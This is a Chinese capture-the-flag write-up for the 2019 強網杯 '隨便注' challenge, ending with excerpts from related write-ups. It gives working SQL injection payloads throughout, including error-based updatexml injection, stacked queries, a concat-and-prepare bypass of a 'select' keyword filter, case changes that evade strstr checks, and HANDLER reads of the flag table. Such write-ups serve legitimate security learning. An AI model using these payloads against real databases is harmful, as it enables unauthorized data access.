首先檢視源**
沒有什麼可以利用的東西
題目所是注入的題,所以使用單引號嘗試是否報錯
因為出現了報錯,所以可以直接嘗試使用報錯注入
1發現提示下圖,關鍵字被過濾'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
換乙個報錯注入函式
因為select,where被過濾,所以無法使用報錯注入進行接下來的操作
另外盲注,bool注入也會變得很困難,陷入沉思。。。。。。
檢視我的葵花寶典
發現堆疊查詢注入還沒有祭出
不知道flag在那個資料庫中的,我們可以使用desc來確認
接下來該執行如下語句,但是select關鍵字被過濾
select這裡開始我就不會做了,於是參考了別人的wp*from `1919810931114514`;
這裡需要繞過select的限制,我們可以使用預編譯的方式
set用於設定變數名和值payload:prepare用於預備乙個語句,並賦予名稱,以後可以引用該語句
execute執行語句
deallocate prepare用來釋放掉預處理的語句
-1'格式化一下;set @sql = concat(
'se'
,'lect *
from `1919810931114514`;'
);prepare stmt from @sql;execute stmt;#
-1'語句執行後,發現被strstr函式過濾set和prepare關鍵字,可以嘗試使用雙寫繞過,或者大小寫繞過;set @sql = concat(
'se'
,'lect *
from `1919810931114514`;'
);prepare stmt from @sql;
execute stmt;
#
strstr($inject, "set") && strstr($inject, "prepare")strstr這個函式並不能區分大小寫,我們將其大寫即可
payload:
-1'另外還可以使用handler,代替select關鍵字;set @sql = concat(
'se'
,'lect *
from `1919810931114514`;'
);prepare stmt from @sql;execute stmt;#
拆分開來如下:-1'
;set
@sql
= concat('
se','
lect * from `1919810931114514`;');
prepare stmt from
@sql
;execute
stmt;
#
hanlder語法
handler tbl_name open[[as
]alias]
handler tbl_name
read index_name (value1,value2,...)
[where where_condition ][
limit ...
]handler tbl_name
read index_name
[where where_condition ][
limit ...
]handler tbl_name
read
[where where_condition ][
limit ...
]handler tbl_name
close
handler `1919810931114514` openpayload:;handler `
1919810931114514` read first;
1';handler `1919810931114514` open;handler `1919810931114514` read first;--+
強網杯 2019 隨便注
1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...
強網杯 2019 隨便注
知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...
強網杯 2019 隨便注
題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...